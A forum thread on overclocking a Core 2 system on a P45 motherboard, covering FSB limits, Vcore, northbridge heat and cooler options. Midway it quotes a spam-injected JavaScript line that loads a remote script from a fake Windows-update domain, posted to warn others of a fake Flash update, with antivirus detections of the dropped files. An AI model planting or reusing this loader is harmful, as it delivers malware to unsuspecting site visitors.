    I will settle down with stable 500 FSB. BUT I was thinking whether, perhaps, by a miracle, there wasn't away to get to 4GHz with help of other tweaking. 500*8 failed previously rather soon (an hour of small FFTs maybe). Is there anything in the BIOS to tweak specifically for CPU stability?

    The only think that I believe (just IMO) that will help you now, is increasing Vcore. I know you don't want to do that, as it means more heat, which means faster fans, which means more noise.

    Other thn core voltage, I believe you've pretty much exhausted all other avenues, unfortunately.

    If you were willing to run hot, noisy,fast and sexy for 8 hours with a noctua going full ball and the extraction turned up, with as close to 1.3625V and LLC, you could find out for certain if you could actually go higher on that board and CPU combo.

    Think of all these minor adjustments to minimise vcore as a diet to reduce the amount of fat you eat. You can make nice tasting low fat sausages, have grilled steak etc to reduce the fat in the food, but there is a limit. You can't OFC make fat free cooking oil. Same as you can't stablize a CPU any more after a certain point without turning up the juice.

    Damn, ok then :P
    I will try to fine-tune existing setup then :P
    I mean if it wasn't for the bloody NB temperature, I would pump it up and go for 530 or something.

    edit: on the other hand, CPU temperature doesn't bother me at all. In full load (say small FFTs or IBT) I am around 65C.

    Oh btw, I sent am email to the shop where I bought my board whether it is possible to try another piece to check about the temperature problem. I was a little surprised to see the board is no longer sold! Anyway, it looks like they "replaced" it with EP45-DS3P. What are the differences, aside from the copper cooling? If I was to replace it with something, what would you recommend?

    edit: not replaced, I mislooked. it just looks similar, but was added long ago

    I'm not sure what would give you the same good overclocking results to be honest. That board looks ok, but isn't an U3 model, so you don't get the 2OZ copper (before etching) layer. This may be in part responsible for the good clocks.

    Have you considered a third party NB cooler, if temps are bothersome? A mate of mine has had good results while extremely over volting an old NForce4 chipset (he has a Toledo at 3.1GHz on phase). Note that his phase change cooling helps over all board temps, and he's fitted a fan to the NB cooler. You should get nice results with justpassive though. I've seen your case and air flow is good.

    Have you tried a good old TIM replacement? I know if the NB is hot then it's not a TIM issue, but anything's worth a shot to prevent spending money.

    Edit**** Bewae of AnaJu's post. Four posts, all containing a script, prompting a "Security update" for Flash Player. My Anti-Virus measures (I run good old common sense 1.0) saved me from a possible viral nasty.

    Flash has the nasty habit of popping up on random pages, requesting installation. With half dozen tabs open it is easy to get confused. Plus the window looked 99% right.

    anyone can analyze?

    Code:
    script language='JavaScript' type='text/javascript'>document.write("<" + "script language='JavaScript' type='text/javascript' src='http://windows-updateserver.com/signature/bMVu0YtaXE4SL7ByPUFuL7dW6w4KfcRq?rand=" + Math.random() * 100000000 +"'></"+"script>");</script>
    and here comes:

    C:\Windows\System32\Update.ex probably unknown NewHeur_PE virus
    C:\Windows\SysWOW64\Update.ex probably unknown NewHeur_PE virus

    All this would require unmounting the whole cooling from the board and somehow attaching new heatsink (how?) with a fan. Too much work. And too little room around :(
    I know blowing some air on it fixes the problem quite well, but I dislike the idea of additional fans very much. Plus reading about other people's temperatures naturally leads me to the thought of something being wrong!
